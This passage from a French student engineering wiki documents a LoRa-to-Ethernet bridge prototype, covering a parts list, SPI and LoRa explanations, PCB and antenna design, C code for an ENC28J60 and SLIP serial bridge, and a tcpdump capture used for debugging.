 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
